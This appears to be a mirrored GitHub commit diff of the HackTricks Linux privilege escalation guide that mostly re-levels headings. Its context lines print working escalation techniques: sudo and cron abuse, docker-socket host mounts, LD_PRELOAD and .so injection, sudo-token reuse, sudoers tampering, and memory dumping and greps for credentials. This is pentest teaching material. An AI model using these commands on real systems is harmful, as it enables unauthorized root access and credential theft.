mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
fixing gitbook mess
This commit is contained in:
parent
970f3123b3
commit
71f97f5e77
1 changed files with 136 additions and 138 deletions
|
@ -17,11 +17,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|||
</details>
|
||||
|
||||
|
||||
# Linux Privilege Escalation
|
||||
# System Information
|
||||
|
||||
## System Information
|
||||
|
||||
### OS info
|
||||
## OS info
|
||||
|
||||
Let's starting gaining some knowledge of the OS running
|
||||
|
||||
|
@ -31,7 +29,7 @@ lsb_release -a 2>/dev/null # old, not by default on many systems
|
|||
cat /etc/os-release 2>/dev/null # universal on modern systems
|
||||
```
|
||||
|
||||
### Path
|
||||
## Path
|
||||
|
||||
If you **have write permissions on any folder inside the `PATH`** variable you may be able to hijacking some libraries or binaries:
|
||||
|
||||
|
@ -39,7 +37,7 @@ If you **have write permissions on any folder inside the `PATH`** variable you m
|
|||
echo $PATH
|
||||
```
|
||||
|
||||
### Env info
|
||||
## Env info
|
||||
|
||||
Interesting information, passwords or API keys in the environment variables?
|
||||
|
||||
|
@ -47,7 +45,7 @@ Interesting information, passwords or API keys in the environment variables?
|
|||
(env || set) 2>/dev/null
|
||||
```
|
||||
|
||||
### Kernel exploits
|
||||
## Kernel exploits
|
||||
|
||||
Check the kernel version and if there is some exploit that can be used to escalate privileges
|
||||
|
||||
|
@ -74,7 +72,7 @@ Tools that could help searching for kernel exploits are:
|
|||
|
||||
Always **search the kernel version in Google**, maybe your kernel version is wrote in some kernel exploit and then you will be sure that this exploit is valid.
|
||||
|
||||
### CVE-2016-5195 (DirtyCow)
|
||||
## CVE-2016-5195 (DirtyCow)
|
||||
|
||||
Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8
|
||||
|
||||
|
@ -86,7 +84,7 @@ https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
|
|||
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
|
||||
```
|
||||
|
||||
### Sudo version
|
||||
## Sudo version
|
||||
|
||||
Based on the vulnerable sudo versions that appear in:
|
||||
|
||||
|
@ -100,7 +98,7 @@ You can check if the sudo version is vulnerable using this grep.
|
|||
sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"
|
||||
```
|
||||
|
||||
### sudo < v1.28
|
||||
## sudo < v1.28
|
||||
|
||||
From @sickrov
|
||||
|
||||
|
@ -108,7 +106,7 @@ From @sickrov
|
|||
sudo -u#-1 /bin/bash
|
||||
```
|
||||
|
||||
### Dmesg signature verification failed
|
||||
## Dmesg signature verification failed
|
||||
|
||||
Check **smasher2 box of HTB** for an **example** of how this vuln could be exploited
|
||||
|
||||
|
@ -116,7 +114,7 @@ Check **smasher2 box of HTB** for an **example** of how this vuln could be explo
|
|||
dmesg 2>/dev/null | grep "signature"
|
||||
```
|
||||
|
||||
### More system enumeration
|
||||
## More system enumeration
|
||||
|
||||
```bash
|
||||
date 2>/dev/null #Date
|
||||
|
@ -125,9 +123,9 @@ lscpu #CPU info
|
|||
lpstat -a 2>/dev/null #Printers info
|
||||
```
|
||||
|
||||
### Enumerate possible defenses
|
||||
## Enumerate possible defenses
|
||||
|
||||
#### AppArmor
|
||||
### AppArmor
|
||||
|
||||
```bash
|
||||
if [ `which aa-status 2>/dev/null` ]; then
|
||||
|
@ -141,38 +139,38 @@ if [ `which aa-status 2>/dev/null` ]; then
|
|||
fi
|
||||
```
|
||||
|
||||
#### Grsecurity
|
||||
### Grsecurity
|
||||
|
||||
```bash
|
||||
((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")
|
||||
```
|
||||
|
||||
#### PaX
|
||||
### PaX
|
||||
|
||||
```bash
|
||||
(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")
|
||||
```
|
||||
|
||||
#### Execshield
|
||||
### Execshield
|
||||
|
||||
```bash
|
||||
(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")
|
||||
```
|
||||
|
||||
#### SElinux
|
||||
### SElinux
|
||||
|
||||
```bash
|
||||
(sestatus 2>/dev/null || echo "Not found sestatus")
|
||||
```
|
||||
|
||||
#### ASLR
|
||||
### ASLR
|
||||
|
||||
```bash
|
||||
cat /proc/sys/kernel/randomize_va_space 2>/dev/null
|
||||
#If 0, not enabled
|
||||
```
|
||||
|
||||
### Docker Breakout
|
||||
## Docker Breakout
|
||||
|
||||
If you are inside a docker container you can try to escape from it:
|
||||
|
||||
|
@ -180,7 +178,7 @@ If you are inside a docker container you can try to escape from it:
|
|||
[docker-breakout](docker-breakout/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Drives
|
||||
# Drives
|
||||
|
||||
Check **what is mounted and unmounted**, where and why. If anything is unmounted you could try to mount it and check for private info
|
||||
|
||||
|
@ -191,9 +189,9 @@ cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
|
|||
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null
|
||||
```
|
||||
|
||||
## Installed Software
|
||||
# Installed Software
|
||||
|
||||
### Useful software
|
||||
## Useful software
|
||||
|
||||
Enumerate useful binaries
|
||||
|
||||
|
@ -207,7 +205,7 @@ Also, check if **any compiler is installed**. This is useful if you need to use
|
|||
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
|
||||
```
|
||||
|
||||
### Vulnerable Software Installed
|
||||
## Vulnerable Software Installed
|
||||
|
||||
Check for the **version of the installed packages and services**. Maybe there is some old Nagios version (for example) that could be exploited for escalating privileges…\
|
||||
It is recommended to check manually the version of the more suspicious installed software.
|
||||
|
@ -223,7 +221,7 @@ If you have SSH access to the machine you could also use **openVAS** to check fo
|
|||
_Note that these commands will show a lot of information that will mostly be useless, therefore it's recommended some application like OpenVAS or similar that will check if any installed software version is vulnerable to known exploits_
|
||||
{% endhint %}
|
||||
|
||||
## Processes
|
||||
# Processes
|
||||
|
||||
Take a look to **what processes** are being executed and check if any process has **more privileges than it should** (maybe a tomcat being executed by root?)
|
||||
|
||||
|
@ -236,11 +234,11 @@ top -n 1
|
|||
Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\
|
||||
Also **check your privileges over the processes binaries**, maybe you can overwrite someone.
|
||||
|
||||
### Process monitoring
|
||||
## Process monitoring
|
||||
|
||||
You can use tools like [**pspy**](https://github.com/DominicBreuker/pspy) to monitor processes. This can be very useful to identify vulnerable processes being executed frequently or when a set of requirements are met.
|
||||
|
||||
### Process memory
|
||||
## Process memory
|
||||
|
||||
Some services of a server save **credentials in clear text inside the memory**.\
|
||||
Normally you will need **root privileges** to read the memory of processes that belong to other users, therefore this is usually more useful when you are already root and want to discover more credentials.\
|
||||
|
@ -257,7 +255,7 @@ The file _**/proc/sys/kernel/yama/ptrace\_scope**_ controls the accessibility of
|
|||
* **kernel.yama.ptrace\_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again.
|
||||
{% endhint %}
|
||||
|
||||
#### GDB
|
||||
### GDB
|
||||
|
||||
If you have access to the memory of a FTP service (for example) you could get the Heap and search inside of it the credentials.
|
||||
|
||||
|
@ -270,7 +268,7 @@ gdb -p <FTP_PROCESS_PID>
|
|||
strings /tmp/mem_ftp #User and password
|
||||
```
|
||||
|
||||
#### GDB Script
|
||||
### GDB Script
|
||||
|
||||
{% code title="dump-memory.sh" %}
|
||||
```bash
|
||||
|
@ -285,7 +283,7 @@ done
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
#### /proc/$pid/maps & /proc/$pid/mem
|
||||
### /proc/$pid/maps & /proc/$pid/mem
|
||||
|
||||
For a given process ID, **maps shows how memory is mapped within that processes'** virtual address space; it also shows the **permissions of each mapped region**. The **mem** pseudo file **exposes the processes memory itself**. From the **maps** file we know which **memory regions are readable** and their offsets. We use this information to **seek into the mem file and dump all readable regions** to a file.
|
||||
|
||||
|
@ -302,7 +300,7 @@ procdump()
|
|||
)
|
||||
```
|
||||
|
||||
#### /dev/mem
|
||||
### /dev/mem
|
||||
|
||||
`/dev/mem` provides access to the system's **physical** memory, not the virtual memory. The kernels virtual address space can be accessed using /dev/kmem.\
|
||||
Typically, `/dev/mem` is only readable by **root** and **kmem** group.
|
||||
|
@ -311,7 +309,7 @@ Typically, `/dev/mem` is only readable by **root** and **kmem** group.
|
|||
strings /dev/mem -n10 | grep -i PASS
|
||||
```
|
||||
|
||||
#### ProcDump for linux
|
||||
### ProcDump for linux
|
||||
|
||||
ProcDump is a Linux reimagining of the classic ProcDump tool from the Sysinternals suite of tools for Windows. Get it in [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
|
||||
|
||||
|
@ -342,7 +340,7 @@ Press Ctrl-C to end monitoring without terminating the process.
|
|||
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714
|
||||
```
|
||||
|
||||
#### Tools
|
||||
### Tools
|
||||
|
||||
To dump a process memory you could use:
|
||||
|
||||
|
@ -350,9 +348,9 @@ To dump a process memory you could use:
|
|||
* [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - _You can manually remove root requirements and dump process owned by you_
|
||||
* Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root is required)
|
||||
|
||||
### Credentials from Process Memory
|
||||
## Credentials from Process Memory
|
||||
|
||||
#### Manual example
|
||||
### Manual example
|
||||
|
||||
If you find that the authenticator process is running:
|
||||
|
||||
|
@ -368,7 +366,7 @@ You can dump the process (see before sections to find different ways to dump the
|
|||
strings *.dump | grep -i password
|
||||
```
|
||||
|
||||
#### mimipenguin
|
||||
### mimipenguin
|
||||
|
||||
The tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) will **steal clear text credentials from memory** and from some **well known files**. It requires root privileges to work properly.
|
||||
|
||||
|
@ -381,7 +379,7 @@ The tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/hu
|
|||
| Apache2 (Active HTTP Basic Auth Sessions) | apache2 |
|
||||
| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: |
|
||||
|
||||
## Scheduled/Cron jobs
|
||||
# Scheduled/Cron jobs
|
||||
|
||||
Check if any scheduled job is vulnerable. Maybe you can take advantage of a script being executed by root (wildcard vuln? can modify files that root uses? use symlinks? create specific files in the directory that root uses?).
|
||||
|
||||
|
@ -391,7 +389,7 @@ ls -al /etc/cron* /etc/at*
|
|||
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"
|
||||
```
|
||||
|
||||
### Cron path
|
||||
## Cron path
|
||||
|
||||
For example, inside _/etc/crontab_ you can find the PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_
|
||||
|
||||
|
@ -406,7 +404,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
|
|||
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid
|
||||
```
|
||||
|
||||
### Cron using a script with a wildcard (Wildcard Injection)
|
||||
## Cron using a script with a wildcard (Wildcard Injection)
|
||||
|
||||
If a script being executed by root has a “**\***” inside a command, you could exploit this to make unexpected things (like privesc). Example:
|
||||
|
||||
|
@ -422,7 +420,7 @@ Read the following page for more wildcard exploitation tricks:
|
|||
[wildcards-spare-tricks.md](wildcards-spare-tricks.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Cron script overwriting and symlink
|
||||
## Cron script overwriting and symlink
|
||||
|
||||
If you **can modify a cron script** executed by root, you can get a shell very easily:
|
||||
|
||||
|
@ -438,7 +436,7 @@ If the script executed by root uses a **directory where you have full access**,
|
|||
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
|
||||
```
|
||||
|
||||
### Frequent cron jobs
|
||||
## Frequent cron jobs
|
||||
|
||||
You can monitor the processes to search for processes that are being executed every 1,2 or 5 minutes. Maybe you can take advantage of it and escalate privileges.
|
||||
|
||||
|
@ -450,7 +448,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
|
|||
|
||||
**You can also use** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (this will monitor and list every process that start).
|
||||
|
||||
### Invisible cron jobs
|
||||
## Invisible cron jobs
|
||||
|
||||
It's possible to create a cronjob **putting a carriage return after a comment** (without new line character), and the cron job will work. Example (note the carriege return char):
|
||||
|
||||
|
@ -458,18 +456,18 @@ It's possible to create a cronjob **putting a carriage return after a comment**
|
|||
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
|
||||
```
|
||||
|
||||
## Services
|
||||
# Services
|
||||
|
||||
### Writable _.service_ files
|
||||
## Writable _.service_ files
|
||||
|
||||
Check if you can write any `.service` file, if you can, you **could modify it** so it **executes** your **backdoor when** the service is **started**, **restarted** or **stopped** (maybe you will need to wait until the machine is rebooted).\
|
||||
For example create your backdoor inside the .service file with **`ExecStart=/tmp/script.sh`**
|
||||
|
||||
### Writable service binaries
|
||||
## Writable service binaries
|
||||
|
||||
Keep in mid that if you have **write permissions over binaries being executed by services**, you can change them for backdoors so when the services get re-executed the backdoors will be executed.
|
||||
|
||||
### systemd PATH - Relative Paths
|
||||
## systemd PATH - Relative Paths
|
||||
|
||||
You can see the PATH used by **systemd** with:
|
||||
|
||||
|
@ -489,7 +487,7 @@ Then, create a **executable** with the **same name as the relative path binary**
|
|||
|
||||
**Learn more about services with `man systemd.service`.**
|
||||
|
||||
## **Timers**
|
||||
# **Timers**
|
||||
|
||||
**Timers** are systemd unit files whose name ends in . **timer** that control . service files or events. **Timers** can be used as an alternative to cron. **Timers** have built-in support for calendar time events, monotonic time events, and can be run asynchronously.
|
||||
|
||||
|
@ -499,7 +497,7 @@ You can enumerate all the timers doing:
|
|||
systemctl list-timers --all
|
||||
```
|
||||
|
||||
### Writable timers
|
||||
## Writable timers
|
||||
|
||||
If you can modify a timer you can make it execute some existent systemd.unit (like a `.service` or a `.target`)
|
||||
|
||||
|
@ -518,7 +516,7 @@ Therefore, in order to abuse this permissions you would need to:
|
|||
|
||||
**Learn more about timers with `man systemd.timer`.**
|
||||
|
||||
### **Enabling Timer**
|
||||
## **Enabling Timer**
|
||||
|
||||
In order to enable a timer you need root privileges and to execute:
|
||||
|
||||
|
@ -529,7 +527,7 @@ Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /li
|
|||
|
||||
Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/<WantedBy_section>.wants/<name>.timer`
|
||||
|
||||
## Sockets
|
||||
# Sockets
|
||||
|
||||
In brief, a Unix Socket (technically, the correct name is Unix domain socket, **UDS**) allows **communication between two different processes** on either the same machine or different machines in client-server application frameworks. To be more precise, it’s a way of communicating among computers using a standard Unix descriptors file. (From [here](https://www.linux.com/news/what-socket/)).
|
||||
|
||||
|
@ -543,22 +541,22 @@ Sockets can be configured using `.socket` files.
|
|||
* `ExecStopPre`, `ExecStopPost`: Additional **commands** that are **executed before** or **after** the listening **sockets**/FIFOs are **closed** and removed, respectively.
|
||||
* `Service`: Specifies the **service** unit name **to activate** on **incoming traffic**. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option.
|
||||
|
||||
### Writable .socket files
|
||||
## Writable .socket files
|
||||
|
||||
If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\
|
||||
_Note that the system must be using that socket file configuration or the backdoor won't be executed_
|
||||
|
||||
### Writable sockets
|
||||
## Writable sockets
|
||||
|
||||
If you **identify any writable socket** (_now where are talking about Unix Sockets, not about the config `.socket` files_), then, **you can communicate** with that socket and maybe exploit a vulnerability.
|
||||
|
||||
### Enumerate Unix Sockets
|
||||
## Enumerate Unix Sockets
|
||||
|
||||
```bash
|
||||
netstat -a -p --unix
|
||||
```
|
||||
|
||||
### Raw connection
|
||||
## Raw connection
|
||||
|
||||
```bash
|
||||
#apt-get install netcat-openbsd
|
||||
|
@ -575,7 +573,7 @@ socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of
|
|||
[socket-command-injection.md](socket-command-injection.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### HTTP sockets
|
||||
## HTTP sockets
|
||||
|
||||
Note that there may be some **sockets listening for HTTP** requests (_I'm not talking about .socket files but about the files acting as unix sockets_). You can check this with:
|
||||
|
||||
|
@ -585,7 +583,7 @@ curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
|
|||
|
||||
If the socket **respond with a HTTP** request, then you can **communicate** with it and maybe **exploit some vulnerability**.
|
||||
|
||||
### Writable Docker Socket
|
||||
## Writable Docker Socket
|
||||
|
||||
The **docker socke**t is typically located at `/var/run/docker.sock` and is only writable by `root` user and `docker` group.\
|
||||
If for some reason **you have write permissions** over that socket you can escalate privileges.\
|
||||
|
@ -596,7 +594,7 @@ docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bi
|
|||
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
|
||||
```
|
||||
|
||||
#### Use docker web API from socket without docker package
|
||||
### Use docker web API from socket without docker package
|
||||
|
||||
If you have access to **docker socket** but you can't use the docker binary (maybe it isn't even installed), you can use directly the web API with `curl`.
|
||||
|
||||
|
@ -605,10 +603,10 @@ The following commands are a example to **create a docker container that mount t
|
|||
```bash
|
||||
# List docker images
|
||||
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
|
||||
##[{"Containers":-1,"Created":1588544489,"Id":"sha256:<ImageID>",...}]
|
||||
#[{"Containers":-1,"Created":1588544489,"Id":"sha256:<ImageID>",...}]
|
||||
# Send JSON to docker API to create the container
|
||||
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
|
||||
##{"Id":"<NewContainerID>","Warnings":[]}
|
||||
#{"Id":"<NewContainerID>","Warnings":[]}
|
||||
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
|
||||
```
|
||||
|
||||
|
@ -629,7 +627,7 @@ Upgrade: tcp
|
|||
|
||||
Now, you can execute commands on the container from this `socat` connection.
|
||||
|
||||
#### Others
|
||||
### Others
|
||||
|
||||
Note that if you have write permissions over the docker socket because you are **inside the group `docker`** you have [**more ways to escalate privileges**](interesting-groups-linux-pe/#docker-group). If the [**docker API is listening in a port** you can also be able to compromise it](../../pentesting/2375-pentesting-docker.md#compromising).
|
||||
|
||||
|
@ -639,7 +637,7 @@ Check **more ways to break out from docker or abuse i to escalate privileges** i
|
|||
[docker-breakout](docker-breakout/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Containerd (ctr) privilege escalation
|
||||
## Containerd (ctr) privilege escalation
|
||||
|
||||
If you find that you can use the **`ctr`** command read the following page as **you may be able to abuse it to escalate privileges**:
|
||||
|
||||
|
@ -647,7 +645,7 @@ If you find that you can use the **`ctr`** command read the following page as **
|
|||
[containerd-ctr-privilege-escalation.md](containerd-ctr-privilege-escalation.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### **RunC** privilege escalation
|
||||
## **RunC** privilege escalation
|
||||
|
||||
If you find that you can use the **`runc`** command read the following page as **you may be able to abuse it to escalate privileges**:
|
||||
|
||||
|
@ -655,7 +653,7 @@ If you find that you can use the **`runc`** command read the following page as *
|
|||
[runc-privilege-escalation.md](runc-privilege-escalation.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## **D-Bus**
|
||||
# **D-Bus**
|
||||
|
||||
D-BUS is an **inter-process communication (IPC) system**, providing a simple yet powerful mechanism **allowing applications to talk to one another**, communicate information and request services. D-BUS was designed from scratch to fulfil the needs of a modern Linux system.
|
||||
|
||||
|
@ -685,11 +683,11 @@ Policies to the context "default" affects everyone not affected by other policie
|
|||
[d-bus-enumeration-and-command-injection-privilege-escalation.md](d-bus-enumeration-and-command-injection-privilege-escalation.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## **Network**
|
||||
# **Network**
|
||||
|
||||
It's always interesting to enumerate the network and figure out the position of the machine.
|
||||
|
||||
### Generic enumeration
|
||||
## Generic enumeration
|
||||
|
||||
```bash
|
||||
#Hostname, hosts and DNS
|
||||
|
@ -714,7 +712,7 @@ cat /etc/networks
|
|||
lsof -i
|
||||
```
|
||||
|
||||
### Open ports
|
||||
## Open ports
|
||||
|
||||
Always check network services running on the machine that you wasn't able to interact with before accessing to it:
|
||||
|
||||
|
@ -723,7 +721,7 @@ Always check network services running on the machine that you wasn't able to int
|
|||
(netstat -punta || ss --ntpu) | grep "127.0"
|
||||
```
|
||||
|
||||
### Sniffing
|
||||
## Sniffing
|
||||
|
||||
Check if you can sniff traffic. If you can, you could be able to grab some credentials.
|
||||
|
||||
|
@ -731,9 +729,9 @@ Check if you can sniff traffic. If you can, you could be able to grab some crede
|
|||
timeout 1 tcpdump
|
||||
```
|
||||
|
||||
## Users
|
||||
# Users
|
||||
|
||||
### Generic Enumeration
|
||||
## Generic Enumeration
|
||||
|
||||
Check **who** you are, which **privileges** do you have, which **users** are in the systems, which ones can **login** and which ones have **root privileges:**
|
||||
|
||||
|
@ -759,12 +757,12 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so
|
|||
gpg --list-keys 2>/dev/null
|
||||
```
|
||||
|
||||
### Big UID
|
||||
## Big UID
|
||||
|
||||
Some Linux versions were affected by a bug that allow users with **UID > INT\_MAX** to escalate privileges. More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\
|
||||
**Exploit it** using: **`systemd-run -t /bin/bash`**
|
||||
|
||||
### Groups
|
||||
## Groups
|
||||
|
||||
Check if you are a **member of some group** that could grant you root privileges:
|
||||
|
||||
|
@ -772,7 +770,7 @@ Check if you are a **member of some group** that could grant you root privileges
|
|||
[interesting-groups-linux-pe](interesting-groups-linux-pe/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Clipboard
|
||||
## Clipboard
|
||||
|
||||
Check if anything interesting is located inside the clipboard (if possible)
|
||||
|
||||
|
@ -787,28 +785,28 @@ if [ `which xclip 2>/dev/null` ]; then
|
|||
fi
|
||||
```
|
||||
|
||||
### Password Policy
|
||||
## Password Policy
|
||||
|
||||
```bash
|
||||
grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs
|
||||
```
|
||||
|
||||
### Known passwords
|
||||
## Known passwords
|
||||
|
||||
If you **know any password** of the environment **try to login as each user** using the password.
|
||||
|
||||
### Su Brute
|
||||
## Su Brute
|
||||
|
||||
If don't mind about doing a lot of noise and `su` and `timeout` binaries are present on the computer you can try to brute-force user using [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
|
||||
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) with `-a` parameter also try to brute-force users.
|
||||
|
||||
## Writable PATH abuses
|
||||
# Writable PATH abuses
|
||||
|
||||
### $PATH
|
||||
## $PATH
|
||||
|
||||
If you find that you can **write inside some folder of the $PATH** you may be able to escalate privileges by **creating a backdoor inside the writable folder** with the name of some command that is going to be executed by a different user (root ideally) and that is **not loaded from a folder that is located previous** to your writable folder in $PATH.
|
||||
|
||||
## SUDO and SUID
|
||||
# SUDO and SUID
|
||||
|
||||
You could be allowed to execute some command using sudo or they could have the suid bit. Check it using:
|
||||
|
||||
|
@ -828,7 +826,7 @@ ftp>!/bin/sh
|
|||
less>! <shell_comand>
|
||||
```
|
||||
|
||||
### NOPASSWD
|
||||
## NOPASSWD
|
||||
|
||||
Sudo configuration might allow a user to execute some command with another user privileges without knowing the password.
|
||||
|
||||
|
@ -844,7 +842,7 @@ In this example the user `demo` can run `vim` as `root`, it is now trivial to ge
|
|||
sudo vim -c '!sh'
|
||||
```
|
||||
|
||||
### SETENV
|
||||
## SETENV
|
||||
|
||||
This directive allows the user to **set an environment variable** while executing something:
|
||||
|
||||
|
@ -860,7 +858,7 @@ This example, **based on HTB machine Admirer**, was **vulnerable** to **PYTHONPA
|
|||
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
|
||||
```
|
||||
|
||||
### Sudo execution bypassing paths
|
||||
## Sudo execution bypassing paths
|
||||
|
||||
**Jump** to read other files or use **symlinks**. For example in sudeores file: _hacker10 ALL= (root) /bin/less /var/log/\*_
|
||||
|
||||
|
@ -883,7 +881,7 @@ sudo less /var/log/something /etc/shadow #Red 2 files
|
|||
|
||||
**Countermeasures**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/)
|
||||
|
||||
### Sudo command/SUID binary without command path
|
||||
## Sudo command/SUID binary without command path
|
||||
|
||||
If the **sudo permission** is given to a single command **without specifying the path**: _hacker10 ALL= (root) less_ you can exploit it by changing the PATH variable
|
||||
|
||||
|
@ -897,7 +895,7 @@ This technique can also be used if a **suid** binary **executes another command
|
|||
|
||||
[Payload examples to execute.](payloads-to-execute.md)
|
||||
|
||||
### SUID binary with command path
|
||||
## SUID binary with command path
|
||||
|
||||
If the **suid** binary **executes another command specifying the path**, then, you can try to **export a function** named as the command that the suid file is calling.
|
||||
|
||||
|
@ -910,7 +908,7 @@ export -f /usr/sbin/service
|
|||
|
||||
Then, when you call the suid binary, this function will be executed
|
||||
|
||||
### LD\_PRELOAD
|
||||
## LD\_PRELOAD
|
||||
|
||||
**LD\_PRELOAD** is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library (libc.so) This is called preloading a library.
|
||||
|
||||
|
@ -950,7 +948,7 @@ Finally, **escalate privileges** running
|
|||
sudo LD_PRELOAD=pe.so <COMMAND> #Use any command you can run with sudo
|
||||
```
|
||||
|
||||
### SUID Binary – so injection
|
||||
## SUID Binary – so injection
|
||||
|
||||
If you find some weird binary with **SUID** permissions, you could check if all the **.so** files are **loaded correctly**. In order to do so you can execute:
|
||||
|
||||
|
@ -981,7 +979,7 @@ gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c
|
|||
|
||||
And execute the binary.
|
||||
|
||||
### GTFOBins
|
||||
## GTFOBins
|
||||
|
||||
[**GTFOBins**](https://gtfobins.github.io) is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.
|
||||
|
||||
|
@ -994,11 +992,11 @@ The project collects legitimate functions of Unix binaries that can be abused to
|
|||
|
||||
{% embed url="https://gtfobins.github.io/" %}
|
||||
|
||||
### FallOfSudo
|
||||
## FallOfSudo
|
||||
|
||||
If you can access `sudo -l` you can use the tool [**FallOfSudo**](https://github.com/Critical-Start/FallofSudo) to check if it finds how to exploit any sudo rule.
|
||||
|
||||
### Reusing Sudo Tokens
|
||||
## Reusing Sudo Tokens
|
||||
|
||||
In the scenario where **you have a shell as a user with sudo privileges** but you don't know the password of the user, you can **wait him to execute some command using `sudo`**. Then, you can **access the token of the session where sudo was used and use it to execute anything as sudo** (privilege escalation).
|
||||
|
||||
|
@ -1035,7 +1033,7 @@ bash exploit_v3.sh
|
|||
sudo su
|
||||
```
|
||||
|
||||
### /var/run/sudo/ts/\<Username>
|
||||
## /var/run/sudo/ts/\<Username>
|
||||
|
||||
If you have **write permissions** in the folder or on any of the created files inside the folder you can use the binary [**write\_sudo\_token**](https://github.com/nongiach/sudo\_inject/tree/master/extra\_tools) to **create a sudo token for a user and PID**.\
|
||||
For example if you can overwrite the file _/var/run/sudo/ts/sampleuser_ and you have a shell as that user with PID 1234, you can **obtain sudo privileges** without needing to know the password doing:
|
||||
|
@ -1044,7 +1042,7 @@ For example if you can overwrite the file _/var/run/sudo/ts/sampleuser_ and you
|
|||
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
|
||||
```
|
||||
|
||||
### /etc/sudoers, /etc/sudoers.d
|
||||
## /etc/sudoers, /etc/sudoers.d
|
||||
|
||||
The file `/etc/sudoers` and the files inside `/etc/sudoers.d` configure who can use `sudo` and how. This files **by default can only be read by user root and group root**.\
|
||||
**If** you can **read** this file you could be able to **obtain some interesting information**, and if you can **write** any file you will be able to **escalate privileges**.
|
||||
|
@ -1070,7 +1068,7 @@ echo "Defaults !tty_tickets" > /etc/sudoers.d/win
|
|||
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win
|
||||
```
|
||||
|
||||
### DOAS
|
||||
## DOAS
|
||||
|
||||
